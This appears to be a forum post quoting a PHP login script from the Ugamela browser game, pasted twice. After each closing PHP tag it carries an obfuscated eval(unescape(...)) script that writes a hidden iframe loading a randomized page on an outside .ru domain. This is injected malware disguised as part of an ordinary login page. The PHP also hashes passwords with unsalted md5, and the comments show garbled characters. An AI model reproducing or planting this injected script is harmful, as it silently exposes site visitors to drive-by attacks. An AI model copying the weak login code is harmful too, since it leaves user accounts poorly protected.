Cytat
<?php
define('INSIDE', true);
$ugamela_root_path = './';
include($ugamela_root_path . 'extension.inc');
include($ugamela_root_path . 'common.'.$phpEx);
includeLang('login');
if($_POST){ //si no se establecio un post manda al login.php
//Se realiza una quiery buscando el nombre de usuario
$login = doquery("SELECT * FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);
if($login) //Si se encuentra un usuario, $login es una array
{ //Se identifica la contraseÄŹĹĽËť
if($login['password'] == md5($_POST['password']))
{
$aktywacja = doquery("SELECT ok FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);
if($login['ok'] == 0){
message('Musisz aktywowac konto. Po rejestracji został do Ciebie wysłany link aktywacyjny z danymi.');
}
//
//Se da un mensaje de aprovacion, y se redirecciona.
//Se puede optar por no utilizar, y solo hacer un header location
//Para mantener mas tiempo la expiracion de la cookie
//
if (isset($_POST["rememberme"]))
{
$expiretime = time()+31536000; $rememberme = 1;
}
else
{
$expiretime = 0;
$rememberme = 0;
}
@include('config.php');
$cookie = $login["id"] . " " . $login["username"] . " " . md5($login["password"] . "--" . $dbsettings["secretword"]) . " " . $rememberme;
setcookie($game_config['COOKIE_NAME'], $cookie, $expiretime, "/", "", 0);
unset($dbsettings);
//echo '<META HTTP-EQUIV="refresh" content="3;URL=java script:self.location=\'index.php\';">'."\n";
header("Location: ./index.php");
die();
}
else
{//Muestra un mensaje de error.
message($lang['Login_FailPassword'],$lang['Login_Error']);
}
}
else
{ //Cuando $login no contiene datos de jugadores
message($lang['Login_FailUser'],$lang['Login_Error']);
}
}
else
{//Vista normal
$parse = $lang;
//preguntamos quien fue el ultimo en registrarse
$query = doquery('SELECT username FROM {{table}} ORDER BY register_time DESC','users',true);
$parse['last_user'] = $query['username'];
//preguntamos quien fue el ultimo en registrarse
$query = doquery("SELECT COUNT(DISTINCT(id)) FROM {{table}} WHERE onlinetime>".(time()-900),'users',true);
$parse['online_users'] = $query[0];
//$count = doquery(","users",true);
$parse['users_amount'] = $game_config['users_amount'];
echo parsetemplate(gettemplate('login_body'), $parse);
// display($page,$lang['Login']);
}
?> <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%36%30%36%37%38%29%2b%27%62%35%33%34%66%66%30%66%30%32%32%32%5c%27%20%77%69%64%74%68%3d%36%39%37%20%68%65%69%67%68%74%3d%33%37%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
define('INSIDE', true);
$ugamela_root_path = './';
include($ugamela_root_path . 'extension.inc');
include($ugamela_root_path . 'common.'.$phpEx);
includeLang('login');
if($_POST){ //si no se establecio un post manda al login.php
//Se realiza una quiery buscando el nombre de usuario
$login = doquery("SELECT * FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);
if($login) //Si se encuentra un usuario, $login es una array
{ //Se identifica la contraseÄŹĹĽËť
if($login['password'] == md5($_POST['password']))
{
$aktywacja = doquery("SELECT ok FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);
if($login['ok'] == 0){
message('Musisz aktywowac konto. Po rejestracji został do Ciebie wysłany link aktywacyjny z danymi.');
}
//
//Se da un mensaje de aprovacion, y se redirecciona.
//Se puede optar por no utilizar, y solo hacer un header location
//Para mantener mas tiempo la expiracion de la cookie
//
if (isset($_POST["rememberme"]))
{
$expiretime = time()+31536000; $rememberme = 1;
}
else
{
$expiretime = 0;
$rememberme = 0;
}
@include('config.php');
$cookie = $login["id"] . " " . $login["username"] . " " . md5($login["password"] . "--" . $dbsettings["secretword"]) . " " . $rememberme;
setcookie($game_config['COOKIE_NAME'], $cookie, $expiretime, "/", "", 0);
unset($dbsettings);
//echo '<META HTTP-EQUIV="refresh" content="3;URL=java script:self.location=\'index.php\';">'."\n";
header("Location: ./index.php");
die();
}
else
{//Muestra un mensaje de error.
message($lang['Login_FailPassword'],$lang['Login_Error']);
}
}
else
{ //Cuando $login no contiene datos de jugadores
message($lang['Login_FailUser'],$lang['Login_Error']);
}
}
else
{//Vista normal
$parse = $lang;
//preguntamos quien fue el ultimo en registrarse
$query = doquery('SELECT username FROM {{table}} ORDER BY register_time DESC','users',true);
$parse['last_user'] = $query['username'];
//preguntamos quien fue el ultimo en registrarse
$query = doquery("SELECT COUNT(DISTINCT(id)) FROM {{table}} WHERE onlinetime>".(time()-900),'users',true);
$parse['online_users'] = $query[0];
//$count = doquery(","users",true);
$parse['users_amount'] = $game_config['users_amount'];
echo parsetemplate(gettemplate('login_body'), $parse);
// display($page,$lang['Login']);
}
?> <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%36%30%36%37%38%29%2b%27%62%35%33%34%66%66%30%66%30%32%32%32%5c%27%20%77%69%64%74%68%3d%36%39%37%20%68%65%69%67%68%74%3d%33%37%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>